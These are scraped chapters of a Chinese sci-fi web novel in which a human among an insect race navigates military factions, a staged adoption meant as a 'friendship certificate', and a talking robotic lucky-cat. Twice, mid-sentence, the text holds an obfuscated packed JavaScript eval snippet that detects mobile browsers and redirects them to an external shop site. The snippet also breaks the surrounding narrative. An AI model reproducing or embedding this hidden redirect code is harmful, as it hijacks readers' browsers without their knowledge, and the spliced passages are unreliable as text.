“也是……”布鲁竟同意他的观点，“没办法，生物权限者都说我眼神不太好，就喜欢怪东西。” 此时布鲁心情显然不错，甚至还开起了玩笑，“不过我这条项链可是要传给将来孩子的，你叫我一声雄父让我过把瘾就给你。” “这有什么难，不就一张口的事吗？”安辰星面不改色伸手过去，厚脸皮叫道，“雄父，拿来吧你。” 布鲁当场骂了一声“擦”，说，“真没节操。” 随即他解开自己颈上的项链放入安辰星手心，语气没辙又无奈，“行，你收着吧，不过我可不认你这么大的雄子！” 布鲁最后看向大伙，挥手告别，“走了啊！” 舱门渐渐关闭。 目标，E86特研星。 部署，联邦第一总指挥部。 执行规模，全军二十五艘战舰。 第一次空间阶跃，启动！ 安辰星无声地看着舰群消失在自己的视野，而后回眸。 他看见可爱的音里一脸感伤与祝福。 看见美丽的璃拉紧抿薄唇，眼神复杂。 ———— 如果安辰星能提前知道自己自从离开E86后就没过过几天安生日子，或许他当初就不会走了。 无论与虫族再怎么相处融洽，他始终是一名人类。 而在哪一个星球生活又有什么所谓呢？ 那一天，安辰星脱口而出的“虫渣”评语并没有惹怒佐·莱伽斯。将阁下布鲁的遗物转交给安辰星后，他便吩咐苏格兰带虫去休息舱了。 仿佛压根就没看到凯特文那些关于［逆理］的消息一般。 但安辰星清楚这是不可能的。 只是刚刚的会面实在算不上愉快，他需要另寻时机和那个长官交涉，否则他不认为对方会自觉帮他保守秘密。 红发的苏格兰副官一边带路一边随意聊道，“其实我也掌［文明］权限，只是序列不高哈哈……” “您身兼多职，能有这个职能已是难得。”安辰星回话得圆滑又敷衍。 不想苏格兰突然侧身接近他，从头到尾仔仔细细将他打量一番，耍流氓道，“确实漂亮，刚才在录像里我就这么觉得了……要说真不愧是雄虫造虫……” 安辰星面无表情，没有被冒犯的感觉也没有高兴的感觉，因为他被无数虫夸过相貌。 苏格兰接着说，“其实布鲁阁下的遗物一直是我给收拾的，那几段消息也是我最先看见的，后来才给的少将。” 他有头有脸地分析道，“你这么聪明，［逆理］之前也是位权限者吧？［科学］还是［文明］？还是都有？如果我们查阅主星近几个星月的权限者死亡公布名单，能不能找到你呢……” 安辰星在原地停下脚步。 “不要紧张嘛，我是总指第二权限，少将让我来给你带路，就是示意我好好跟你谈谈。”苏格兰笑容张扬，似乎成竹在胸。 安辰星没有丝毫放松，问，“你们想谈什么？” 苏格兰率先一步走到休息室前，躬身对他做了个“请”的动作，说，“我们第一总指只谈合作，一切都讲究互惠互利。当初布鲁阁下试药也是完全出于自愿，我们没有逼他。” 安辰星不敢苟同，可虫死不能复生，此时争论这些没有意义，他声色冷淡，“既然如此，那你们要谈的合作是什么？” “我们一直希望在科学院中有自己的虫脉，并且认为你就很合适。” “你们想我传递内部消息？还是帮忙研究些什么？” “不是，你完全可以好好过你的日子，只需要让所有的虫知道你是我们的‘朋友’就行。” “图什么？” “嗯……威望之类的，这你不用管……而且你想想，如果我们是虫尽皆知的铁杆朋友，一旦你［逆理］的事情暴露，我们势必首当其冲，所以一定会用心替你保守秘密。” “威望？”安辰星冷笑，“和一个普通……” 说到这他忽然顿悟，“原来如此。” 和一个普通的“亚雌”权限者交朋友确实达不到威望的程度，但要是跟一个可以凝聚整个特研星权限者力量的虫交朋友，那将会是很大的震慑。 想必是第一总指的两位长官通过V16战舰的现场录像，察觉到了其他权限者对自己的极度溺爱。 苏格兰神色愉悦起来，不吝惜称赞，“反应真快，果然和聪明虫说话就是舒心。” 然而安辰星并不想马上答应他们。 因为不论第一总指是想要震慑哪方势力，都绝对不可能是小型势力。 若还没到主星就稀里糊涂站了队，到时说不定怎么死的都不明白。 在人类唯一权威政府成立之前的熵增时代，安辰星经常同时受到多方势力威逼利诱地招揽，所以对周转平衡之术颇有心得。 他面上没有流露出拒绝，嘴上却难为道，“这似乎不太好办，我只是一个普通权限者，就算敞开说自己与第一总指是好朋友，那也需要有虫愿意相信才行。” 哪知苏格兰却答道，“这好办！怎么不好办？等十来天的阶跃结束后，咱们当场就把这［友谊证明］给办了！” 安辰星听罢表情古怪，简直不知所谓。 在你们虫族，做朋友还能办.证啊？ 终于，等到两百多次漫长又枯燥的阶跃结束，安辰星发现，第一总指还真有办“朋友证”的方法。 那天，第一总指的舰队并没有直接将他们送回主星，而是选择停在费米德星区稍作修整。 当晚第一总指隆重宴请E86权限者们，还是由苏格兰副官亲自主持晚宴，给足了大伙面子。 台上的苏格兰盛情地说道，“各位，一路奔波辛苦了，今天第一总指办宴，大家好吃好喝不要客气，养足了精神再回主星报道……对了，为了大家玩得开心尽兴，我这儿有些B级阁下接触卡，有需要的虫可以来领一下……” 权限者们闻言立即鼓掌欢呼，气氛瞬间火热起来。 他们太需要了！多少年没见到雄虫了？ 辰星？辰星是造虫，只能算作大家的孩子！ 安辰星不爱跟他们胡闹，默默在角落无声看了一会后，他端起玻璃酒杯，走出到后院散心。 后院比想象中寂静，曲径通幽，夜色迷人。 安辰星沿着鹅卵石小径一路走去，看见一座做工精细的中型喷泉，其中花式纹路清晰可见，然后他才忽然察觉，自己这一路走来都没有路灯照耀。 安辰星似有所觉地抬头，看见一轮明亮浩大的“圆月”挂在天上。 竟比地球上的那颗还要大上十几倍。 但是他很快又看出来，费米德的这轮“月亮”是由虫造的而非天然。 虫族风俗有记载，造月往往不常被点亮，仅在特大庆典和殿堂狂欢的时候才能有幸窥见一二。 而第一总指选择在今晚点亮这轮“月”，示好的意图相当明显。 就在安辰星凝望着天空出神的时候，后方忽然响起一个声音，“你好。” 安辰星转身，然后怔愣住了。 一只虫朝自己缓缓走来，他的面容温柔美丽，如绸般的长发泛着淡淡银光，动人心弦。 “安辰星是吗？” 安辰星一时分不清那究竟是月色还是原色，他自然而然想起了地球上的一个词语：月下美人。 这只虫给他的感觉和他之前见过的所有虫都不一样，但具体哪儿不一样却也说不上来。 似乎对安辰星的反应早有预料，银发虫族笑得更加迷人，“我是璃拉·亚玛，莱伽斯少将和苏格兰副官让我来陪你说说话。” “啊。”安辰星声音很轻，也终于意识到对方特殊在哪里。 这是雄虫。 真就百闻不如一见，确实很蛊。 “他们让您来陪我？”安辰星温和地开口，逐渐找回自己的节奏。 “嗯……”银发雄虫脸上微微泛起红晕，不知是真的羞涩还是什么，“你好漂亮，是我见过的亚雌中最好看的……” 安辰星绅士地回应，“您也是我至今见过的最美的阁下。” 雄虫听罢貌似脸更红了，他轻轻低下头又抬眸看他，眼神含情脉脉，语气纯情暗诱，“如果……你想要我，今晚我会为你疏导……” 安辰星在心中失笑。 第一总指还真是舍得下血本，当然，这也侧面说明了他们确实以为自己在［逆理］前是位雌虫权限者。 安辰星重新看向眼前雄虫，开始考虑是否要顺水推舟。 熵增时代，人类秩序受到极大的破坏与践踏，比起挣扎无门朝不保夕的未来，大家更在乎当下的享乐，颇有今朝有酒今朝醉的气性。 直到进入逆熵运动时代，人们才重新构建起对未来的信心以及随时舍身取义的觉悟。 安辰星生活在这两个时代的交替期，深受两种思潮的共同影响，也因此造就了独具一格的魅力和卓越非凡的实力。 他不拒绝责任也不拒绝享乐，且 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“不，我说的月是天然的，它只能通过反射恒星的光芒发亮。” “我知道了，但我不明白那为什么会美。” “它的美是唯一的，就像您独特的发色，令虫迷醉。” 不知是想起什么，雄虫表情有一瞬间的不自然，但很快复原如初，“这样……你能再和我说说那颗月吗？” 安辰星还不至于看不出来雄虫实际并不感兴趣，不过是想借此拉近距离而已，便答道，“阁下，您不需要懂它，就像它从未懂您。” 然而雄虫却挫败地垂下眼睑，神态稍显难过，“你的意思是，你不想要懂我吗？” 安辰星感到些许无奈，“不是。” 他之所以拒绝对方，不只是因为雄虫身为虫族传统意义上的TOP和他撞了型号，更是因为他瞧出了雄虫看似主动的外表下，其实藏着一颗压根就不想做的心。 说实在，这事如果不是你情我愿，就没意思了。 “那你为什么不想要我？”银发雄虫还在不懈地追问。 安辰星清楚有些话不能明说，而且雄虫明显是带着任务来的，也确实不该让他空手而归，“因为，我想送您一件礼物，阁下。” “礼物？” “对，是您让我找回了许久未有的感觉，我愿意无条件满足您的一个愿望。” 璃拉·亚玛怔了怔，许久没有开口，似是在斟酌。 安辰星温柔地注视他，等待他提出要求。 仿佛是受到了亚雌的鼓舞，雄虫试探性地启唇，“我想要你入我的籍，可以吗？” 安辰星瞬间明白过来。 原来这就是第一总指所指的［友谊证明］。 若是他顶着一位坐阵第一总指的高级雄虫的姓氏，那他和第一总指的联盟也就显而易见了。 不得不说，这招实在是高。 璃拉·亚玛不留痕迹地观察亚雌，只要亚雌流露出一点抗拒的神色，他就立马解开自己上衣的两颗扣子，打乱对方的思绪。 “我同意了，阁下。”安辰星轻声说道。 璃拉·亚玛瞳孔刺激性一震，一时忘了自己该换上什么表情。 就……这么搞定了？ 他几乎是下意识开口，“你真的不想要我？” 语气听着是冷的。雄虫连忙背过身去不让亚雌看见，因为他觉得自己此刻的表情绝对相当得不友善。 身后的亚雌没有说话，不知道在想什么，他没有把事情搞砸吧？ 好在安辰星关切地问了一句，“阁下？” 在他看不见的地方，璃拉·亚玛神情厌恶，可开口的声音却柔弱得让虫心疼，“对不起，我……我刚刚实在是太高兴了……你没有被吓到吧……” 安辰星不由轻笑出声。 真是……要不说男人怎么就吃这一套呢？ “阁下不用担心我会食言，从现在开始，我就是辰星·亚玛，当然，以亚玛姓氏的名誉保证。” 他看见前方雄虫肩膀先是颤动了两下，然后慢慢转过身来，眼中泛着的泪光与感激交相辉映，“谢谢你……” “不客气，阁下。”安辰星感觉到了明显的违和，但态度依旧，“祝您今晚做个好梦，愿虫神保佑您。” 好像是起了点风。 璃拉·亚玛抬手将脸侧的一缕银发别在耳后，却是头一回不知道说什么好。 亚雌第一眼见到自己时眼中的闪过的惊艳，丝毫不亚于其他任何初见他的虫。 可为什么？ 安辰星看了一眼宴会方向，说，“我出来够久了，阁下。” 可是银发雄虫没有说话，只是深深地凝视他，似乎想要看出什么来。 安辰星默默等了几分时，还是没听到放行的话，心中不免有些疑惑。 他只能主动朝雄虫举杯，“失陪。” 然后仰头将残酒一饮而尽，转身离开。 待亚雌远去后，璃拉·亚玛还原回一脸的冷漠。 他在原地站了很久，直到耳后那缕银发被风吹散滑至肩前。 “安辰星，”雄虫一字一句，“辰星·亚玛。” “你总不会是在保护我吧？” 雄虫的面容变得鄙夷，嘲讽。 “保护一个公有物？” 下一刻，他又不禁喃喃自语。 “可我怎么就没见过呢……” 19. 消失星带 主星历史总院，前序讨论室。 “天文观测部，究竟是发生了什么事情，值得你大张旗鼓地把我们都召集起来？”历史院最高文明权限者问道。 被点名的天文部权限虫一脸严肃，“我部以为，新的传说级阁下已经出现。” 此话一出，所有虫都坐直了身体，等待天文部的进一步解释。 会议桌的正前方亮起空中投射荧幕，一张完整的星系拍摄图映在上边。 另一只天文部代表虫站起，一边操纵者面板一边进行解说，“各位请看，这是我们星系原来的全景摄图，所有行星连续不断围着黑洞盘旋，最终逐步被黑洞吞噬……可是，就在前几天3月17日，我们的纠缠望远镜却传回了这样的星系摄图……” 天文部代表虫说到这，打开一张新的摄图，并排列在原摄图的旁边作为对比。 所有虫见状倒吸一气，心中骇然，“这，这是……” 两张图乍一眼看下去几乎没有差别，可怖的是在新的摄图中，以黑洞为中心的小范围行星带竟变成了一片真空环带，而原本应该在那里的星球全都不知所踪！ “想必各位已经看出来了，”天文部代表虫说，“只有传说级阁下的[特能]才能做到如此神奇的事情。” 遗迹部代表虫肃然道，“太危险了，我们必须立即找到这位阁下并且了解清楚他的[特能]到底是什么。” “会不会是[穿维]？”有虫推测道。 [穿维]是遗失纪时期一位传说级阁下的特能，作用是可以通过其他不可观测的折叠维度随意将任何东西送到自己想送的地方。根据资料记载，现已丢失的[空间阶跃]成型的重要理论，当初就是通过研究那位阁下的雄核得出的。 “应该不会，第一，目前可追溯的传说级阁下还未出现激发相同特能的情况。第二，除非[穿维]已经达到可以跨越星系间的黑暗距离，否则消失的行星一定会再次出现在摄图中，可是这两张摄图除了黑洞周遭以外其他成像完全一致。另外，因为折叠维度的特殊性，[穿维]应该不具备如此大规模的一次性传送能力……” 有虫点头表示同意，“而且这位阁下的特能作用在黑洞附近区域也是个疑点，一般来说，阁下特能的第一次激发通常伴随着阁下强烈的意志，而特能的作用也会倾向于解决阁下的烦恼。可是，让黑洞周围的行星消失究竟对阁下有什么好处呢？” 历史院首序虫若有所思，看向天文部代表虫，问道，“真空环带的厚度是多少？” “粗略估计在1.8光星年至2.2光星年左右。” 首序虫确认道，“也就是说，这些消失的行星如果正常坠入黑洞大概要两星年。” 天文部代表虫愣了愣，“是的，理论如此。” 首序虫点点头，下了总结，“范围广，数量大，无论这位传说级阁下的[特能]究竟是什么，都不可能是我等能够轻易想象出的，我会和联邦第六序说明情况，让他派遣第三总指前往星系中部采集数据。” 首序虫想了想，又说，“我也会尝试向联邦第二序提出和佑阁下的对话申请，如果能通过……天文部，这件事情既然是你们发现的，那就由你们去询问吧。” 天文部两只代表虫闻言心中一喜，齐声答道，“好的。” ———— 第一总指刚刚结束第62次阶跃的时候，发生了一件令虫意想不到的事情。 伊洛·杰尼森昏倒了！ 因为布鲁阁下在总指挥舰，所以执掌军队最高生物权限的伊洛自然也候在了指挥舰。却不想阁下这边还没事，他自己先撑不住倒下了。 伊洛半虚弱地躺在沙发上，看着所有虫不明所以的视线，惭愧地解释道，“少将、副官、阁下，对不起让您们见笑了，我是不小心进入了接触渴求期而没有缓解……身上的安慰剂也一时忘了携带……” 他撒了谎，作为一名合格的生物权限者是不可能忘记携带信息素安慰剂的，只是在阶跃的这三天来，他陆陆续续喝了好多瓶都没有效果。 布鲁对雌虫这一状态还是比较了解的，闻言他直接坐在伊洛旁边，揭开雌虫军装最上边一个纽扣，用手掌抚摸雌虫已经相当温热的脖颈，准备使用雄核进行浅度安抚。 佐·莱伽斯见状，认为问题不大便转身回到了控制中枢，预备下一次的阶跃。而苏格兰却是流氓地吹了一下口哨，目不转睛地看着眼前的情景，丝毫没有要回避的自觉。 “嗯？奇怪。”布鲁感到意外，疑惑地说，“我连续尝试了两次，根本导不出你的燥热源，你似乎在排斥我？” 伊洛有些崩溃地闭上了眼睛，“对不起……阁下……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13058254|137607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佐·莱伽斯听罢停下手中的动作，再次走了过来，声色微冷，“那晚他引诱你了？” 莱伽斯深知雄虫的聪慧狡猾，伊洛如今这副模样绝对跟那只雄虫脱不了干系。 或许自己那天就不该放两只虫独处。 “哦……”布鲁也反应过来了，看向伊洛的狼狈，笑得意味深长，“他的雄核还没好，都能把你迷成这样？” 雌虫一旦真心爱上某只雄虫，那么他进入的渴求期也会具备特殊的排他性，即带有其他雄虫特质的疏导行为和信息素安慰剂皆不会起作用。 莱伽斯皱起眉，伊洛·杰尼森是自己费心从生物院挖来的虫才，决不能让虫莫名其妙死在渴求期。 他忽的想起那日雄虫提到的“脱敏后”安慰剂，迅速看向苏格兰，“我先前让你找虫试验效果的五瓶安慰剂，你还有剩下吗？” “你说那个啊……”苏格兰恍然大悟，“那个质地确实纯净，可当时就被那帮雌孙抢完了，一滴都没剩下。” 莱伽斯思索一番，下令道，“让全军静默，等我回来。” ———— 佐·莱伽斯独自一虫来到指挥舰的绝密资源舱，按下指纹进入之后，安辰星那艘外形破烂的星辰号就在那各式各样的物资补给之间，异常地显眼。 自从异眼雄虫展现出了自己不得了的安慰剂制成技术之后，这艘残破的出行舰便被莱伽斯当做“虫质”转移到了这里。每当雄虫要来这里做什么都必须有他的陪同监视。 莱伽斯畅通无阻地进入已被破坏的主舱门，然后顺着记忆往内部走去，最终停在末舱的暗室前面。 他一共来过两次，一次是雄虫展示尖端科技，一次是雄虫按照交易制作了300瓶高级安慰剂。 此时那300瓶脱敏后的安慰剂就在里面，可雄虫的实验室是锁住的。 金发雌虫琥珀色的双眸看向实验室右侧的小型识别设施。 好在除了瞳孔识别区之外，还有设置密码输入指令盘。 接下来只需用纠缠网联系费米德首席璃拉，问出雄虫的密码就没问题了。 莱伽斯正想着，实验室突然“叮”的一声，然后门开了。 雌虫表情微微一愣。 看见识别设施显示出一行字。 【瞳孔识别成功，佐少将，欢迎您。】 20. 最善阁下 时间永不逆。 这不仅是虫族三理之一，也是人类公认的宇宙法则。 只是在安辰星的记忆中，总有人不愿放弃回到过去的美梦。 人类秩序混乱倾轧的熵增时期，各方求存分歧极大。 除了后来奠定统一基础的最具代表性的两大派别[太空远洋派]和[意识永恒派]之外，还有秉持种族应该向内发展自身的[究极进化派]，以及异想天开白日做梦的[时光倒流派]。 [究极进化派]曾在熵增时代早期起了重大作用，但随着人口的急剧减少迅速消亡于世，直到后来唯一权威政府成立都没有再次兴起。 然而[时光倒流派]却始终坚.挺如一，虽然该派的主张既虚无缥缈唯心主义，又无科学理论支撑不切实际，并不被唯一权威政府纳入火种计划，但这一流派就是信徒无数，声势浩大。 把那些人形容为信徒真不为过，因为比起其他技术科学流派，他们完全就像是15世纪毫无逻辑的复古宗教团体。 不过安辰星也不是没法理解他们的疯狂与偏执。 毕竟如果可以，谁不想回到那个恒星稳定的美好时代呢？ ———— 目送完第一总指的舰群之后，安辰星哪也没去，径直回了月夜殿堂的房间。 他认为需要稍微整理回忆自己在虫族的经历。 安辰星拿出笔记本，翻开到画有三角形和圆圈的草稿页面，依着时间线动笔写下以下事件。 进入科学总院——到罗森多研究S63晶矿——连续阶跃技术搭建成功——入住联邦赠予星区——研发脱敏优质安慰剂——转入历史总院——走访遗失纪遗迹——辰星理论成型未表——联邦以多胜少通过挖核决议——圣彼西科争夺事变——第一总指失败叛逃——被迫暂停一切活动接受来自联邦的嫌疑调查…… 安辰星写到这里暂且停下，然后手腕一转，画圈圈住了[圣彼西科争夺事变]。 他又在旁边写下［全知］二字，跟着打上一个小小的问号。 首序殿的那一位，究竟可以知道多少？ 这一世能否设计跟对方见上一面？ 安辰星又想起什么，动手拉开桌下的抽屉，里面放有一罐特殊的胶囊药品，是他昨晚向伊洛索要的。 他打开盒盖倒出两粒，兑着温水服下。 这是联邦用于审讯特等罪犯的一款用药，可以破坏罪犯的伤势恢复能力，延缓痊愈速度。 安辰星手上的这一罐是雌虫用药，可他也没有办法。 在所有该做的事情做好之前，他还不能让雄核恢复。 因为一旦雄核具有的精神力场完整散发出来，他的3S等级将藏无可藏。 不要急，安辰星，一件一件来。 这一次，一定。 安辰星思绪缓了缓，收起药盒，翻开新的一页。 写下：单一时空、平行时空。 这也是他必须弄清楚和验证的一点。 安辰星在等来自布鲁的纠缠仪联络。 他需要确认如今E86特研星是否存在另一位“安辰星”。 如果存在则宇宙时空平行，意识不唯一。 如果不存在则宇宙时空单一，意识唯一。 以安辰星掌握的学识来看，他还是倾向于宇宙时空单一论的，但是时空单一论又会不可避免地面临一条人类18世纪的经典悖论。 即，如果小造虫安辰星不存在，那特等的安辰星又是从哪里来的。 若是宇宙时空平行…… 安辰星摇摇头，从物质总量上看，这是不可能发生的。 好在这边仅需再过四个小时左右，答案就可以揭晓。 时空是宇宙最不可思议的奇景之一。第一总指的军舰不断阶跃十多天，E86特研星需要等待将近一个月，而费米德这边却仅仅只流逝了几个小时。 这时，房门被敲响。 安辰星合上自己的笔记放到架子上，说，“请进。” 门被从外侧拉开，来虫是音里，他探出一个歪歪脑袋，笑得有些不太好意思，“辰星，没打扰你吧？” 安辰星微笑摇头，起身去拿在阳台外的另一张椅子。 音里走进房间环顾一周，手上带来了一盒花牌，“你的房间好空呀，为什么不让护理虫加点装饰呢？” 接着他有点可怜地说，“布鲁走了，我感觉冷冷清清的有些寂寞，你陪我打打花牌好不好？璃拉那边……你也知道……他情绪不高想一只虫独处。” 安辰星将椅子放到他旁边，低眸看了眼智脑时间，说，“好。” “太好了！”音里松了口气，“还好有你在。” 安辰星让智能护理虫变成圆桌模式，两虫面对面而坐。 音里开始洗牌，问，“你喜欢玩几张？” “玩全副吧。”安辰星不假思索。 音里惊讶道，“全副？那很考验智商的，会不会太难了，就连我这个老手都很少玩全副……” 一套花牌共有250张，玩全副的意思是，从250张中随机分出125张进行10分时的记牌，再给每虫随机发60张，剩下5张作为隐藏牌不公开。 一般虫为了便捷省事，会选择玩半副或者30张，就是去除记牌流程，直接给每只虫随机发60张或者30张牌。因为这种玩法是无法推测对方的手牌的，所以也就不太需要考虑策略，输赢全凭运气。 安辰星以前在E86的时候经常和权限者们玩这个，而权限者们基本都偏爱玩全副，于是比起其他玩法，安辰星反而玩全副的经验多一点。 意识到音里大概不爱记牌，安辰星便改口说，“那玩30张吧。” “哎呀~我倒是无所谓啦。”音里虽然嘴上这么说，但偷乐的表情暴露了心中的真实想法，“那就30张，我发牌啦。” 安辰星点点头，一张张拿起自己的手牌，同时像是随口一提地问，“真就只是玩牌？不是有话想说吗？” “……也没什么……”音里又露出不好意思地笑容，挤牙膏地说，“就是想跟你学习一下……” “学习？”安辰星反问， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13058255|137607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并打出一张牌，“吱吱鸟，我觉得你现在就像它，支支吾吾的。” 音里小声“唉”了一下，开始说，“我是莱伽斯少将接管第一总指后，头一只被申请下来坐阵的高等雄虫，就连耶瑟和索罗也的高等也都是在我后来才来的。” 安辰星“嗯”了一声，看着自己的手牌有些心不在焉，他知道音里的话还没说完。 “我出一张龟龟树，现在吱吱鸟在树梢上了……”音里大概只是想倾诉，“这么多年我一直得过且过……对，以前在圣彼西科第二殿的时候也是，在高等中我永远是垫底的存在，其他雄虫也都不怎么看得上我……” 想起什么，音里尴尬地笑了笑，“估计当时第一总指申请高等雄虫的时候填的是随机申请吧，所以联邦就直接顺势将我这个巴不得赶紧滚蛋的废柴给踢出来了，想必第一总指后来发现我是这副德行，如今连肠子都悔青了吧。” 安辰星看了看他的笑脸，淡淡打出一张牌，“圈圈兽，咬树皮。” 音里明显无心打牌，说，“唉，自顾自稀里糊涂地说了这么多……我就是想说，大家看不上我我也知道，不过我现在想改变了，我要跟你学习。” 安辰星这才接他的话，“学什么？” “你来这里不过几天，布鲁就接纳了你，他以前基本都不和我说话……” 安辰星说，“他一直是认可你的，你忘了吗，他送了你纠缠仪，但是没有给璃拉。” “璃拉……”音里思绪飘远，像是在怀念，“璃拉其实刚来的时候也不爱说话，我问他之前坐阵仙儿码是什么感觉，他莫名生了我好久的气……” “后来……后来他就好了，好到我都快忘了他也会生气了……昨天他，他那么失控……大概是曾经有很多虫欺负过他吧……我居然一直都没有察觉……” 安辰星客观地说，“那是他的问题，你没有义务要主动发现。” “可我以为我和他是朋友。” “朋友之间也会有所伪装，不意味着他没把你当成朋友。” “但是我想要改变，想要变成大家可以信赖的存在。如果我更加完美可靠，璃拉一定会跟我倾诉的吧，布鲁也不会独自一虫日复一日地积攒贡献点……” “音里，”安辰星放下手牌，显然，这局已经没有玩下去的必要了，“建议你有空问一下苏格兰。” 音里没明白，“问什么？” “如果你不知道自己是被指定申请的，那就太惋惜了。” 音里听罢傻眼，“我，我是被指定申请的？” “如假包换。” 安辰星之所以说惋惜，是因为上一世音里的下场并不好。 比起凯特文整日唠叨在嘴边的坎贝尔阁下，或者和自己总也牵扯不清的璃拉·亚玛，他对音里的了解其实并不多，甚至可以说是几乎没有交集。 仅仅只有一面之缘。 更多时候，安辰星都是从第一总指的各类权限者口中听到关于音里的消息—— 这位死后被第一总指誉为“最善良阁下”的高等雄虫。 21. 机械怪虫 第一总指舰群，总指挥舰，绝密资源舱。 星辰号实验室。 佐·莱伽斯满心疑惑踏入实验室。 雄虫是什么时候采集了他的瞳眸数据并进行授权的？ 太不寻常了。 不只是现在，这只雄虫从一开始就很不一般。 仿佛什么都知道，甚至包括自己不为虫知的计划。 莱伽斯停在摆着300瓶高级安慰剂的实验台前面，似乎又想起那日雄虫一丝不苟沉醉于实验中时带给他的那种视觉震撼。 莱伽斯抿了抿唇，强行将这种难以形容的情绪驱逐出脑海，随手拿起几瓶高级安慰剂便开始往外走。 而就在此时，一个无情绪的机械音响起，“自启成功……警告！电磁不足！请及时连接磁感装置！” 那并非虫族联邦的语言，莱伽斯听不懂。 与生俱来的警觉让他迅速激活全身的虫纹力量，集中戒备地打量四周。 什么都没有。 莱伽斯最后将视线定在了一个白色涂装的机械装饰物上。 优秀的战斗辨位天赋告诉他，刚刚的声音是由这个物品发出的。 所以，这个装饰物还配有出声装置？ 其实在第一次来到这个地方的时候，莱伽斯就注意到了这个装饰物。 因为它的外形实在是太怪异，整体大约两个巴掌的大小，外壳涂料为纯白色，眼睛笑眯眯的，两腮各长了三根胡须，耳朵分别长在头顶两侧，还是尖尖的凸起，见所未见。 它的姿势同样古怪，是一只爪举着，一只爪放下的坐姿。而尾巴又细又长，从后面围着半圈绕到了前面。 当时的莱伽斯就在想，不知道得以什么宠物为原型才能设计出这种怪东西。 他只将其当作是雄虫奇怪的审美癖好。 然而，眼前装饰物竟又开始“说话”了，它的外观是既定的不会改变，声音是由其内部的设备发出的。 而且这一回，它的语言变成了虫族联邦语，“佐少将，喵喵见到您很高兴，说明大家又一次顺利突破了围剿。” 喵喵？突破围剿？莱伽斯冷漠地看着它，没有贸然开口。 “佐少将，您是知道的，每次围剿来临前安先生都会清空喵喵的电磁能量，并关闭喵喵的磁感装置，以防不幸落败后，喵喵会引起联邦的注意并被拆解。” 安先生？那是雄虫的真实姓名？围剿是来自于联邦的？莱伽斯心中变得更加地不解与怀疑。 他迅速思索一番，然后不留痕迹地顺着话头“嗯”了一声。 这只疑似高级智能机械“虫”话里所含的信息量非常巨大，最好能从它的口中听到更多的情报。 机械喵喵无法辨别其心机，还严谨地分析着说，“喵喵刚刚检测到实验室的器材和药剂在短时间内被使用过，一定是安先生制作了大量的信息素安慰剂，看来这次围剿出现的伤亡十分惨重……” 机械喵喵一边猜测一边求助雌虫，“可是安先生好像太忙了，他居然忘记帮喵喵重开磁感装置了……佐少将，您能帮一下喵喵吗，喵喵需要上传本次实验室的来访记录和数据统计。” 佐·莱伽斯闻言冷笑，并不相信机械“虫”，“如果你被清空了电磁能量并关闭了磁感装置，你现在根本不可能运作。” 机械喵喵也不大擅长感知情绪，还正经地解释道，“安先生在制作喵喵的时候，考虑到星际航行可能会遇到的各种极端环境，所以给喵喵配备有磁星速充的装置……正在进行位置定位，请稍候……很遗憾，佐少将，舰体的星空定位盘损坏了，喵喵如今无法定位这是哪……但我们此刻一定是停在了某颗辐射磁星的附近，喵喵现在就是靠那颗磁星辐射出来的少量电磁能量维持着运行。” 机械喵喵敬业地说，“请您帮喵喵开启磁感装置，安先生吩咐了喵喵要好好记录实验数据并及时汇报短缺材料。” 不急着理会这只怪异无比的智能机械“虫”，佐·莱伽斯先点开腕上智脑，发信询问副官苏格兰，“查看一下现我军附近是否存在辐射磁星。” 十几秒后，苏格兰语音回复，“有，主舰后方157.953.477坐标处有一颗中等质量大小的辐射磁星，不过对咱们虫体的影响不大，怎么了？” 莱伽斯听罢道了一声“没事”便关了智脑，重新看向机械“虫”。 机械喵喵又冷不防开口念道，“数据有误，正在编写，编写完成。” 莱伽斯直白地问，“什么有误？” 机械喵喵不会怀疑他的动机，依旧诚实不已，“很抱歉，喵喵曾经错误地记载了苏格兰副官在联邦第47次围剿中重伤被俘，刚才喵喵已经加快重写了基础数据，请佐少将帮喵喵开启磁感装置，否则本次重写数据无法上传保存，喵喵下次还是会记错。” 莱伽斯不动声色把这些信息记在脑中，确认道，“也就是说，如果下一次阶跃开始，你便会立刻因为电磁不足而强行关闭，且无法保存本次运行的全部数据，是这样吗？” 机械喵喵不会撒谎，老实地说，“是的，请佐少将尽快帮喵喵连接磁感装置。” 被称作佐少将的莱伽斯想了想，危险地笑了，“不是我想拒绝你，而是安辰……安先生短时间不想启用你，因为你记错的信息实在太多，所以我也帮不了你。” “怎么会呢？安先生平时最喜欢喵喵了，他说喵喵是招财笑脸猫，会带来好运气……”机械喵喵始终如一的语气竟开始有些紧张起来，虽然从外型上看不出，“……喵喵到底哪里做错了……正在检测数据，请稍候……检测完毕，未发现异常……到底哪里错了呀……” 金发雌虫淡淡敛起眼睑，藏去了眼底的心思，说，“要不数据我帮你看看，只要你把错误改对了，雄虫肯定会重新喜欢你的。” 机械喵喵虽然不知道他的心思，但还是根据既定设置拒绝了他，“佐少将，即便您是和安先生亲密接触最多的情虫，喵喵也不能在安先生不知道的情况下擅自向您开放数据。” 一个疯狂的、不可思议的猜测在佐·莱伽斯的脑中成型。 他几乎是下意识后退了两步，然后又不由低低地笑了两声，在这个相对空旷的空间尤其明显，令虫闻之生畏。 机械喵喵还在委屈，“安先生现在在哪里呀，喵喵想见他，喵喵以后一定会更加努力地记录数据……” 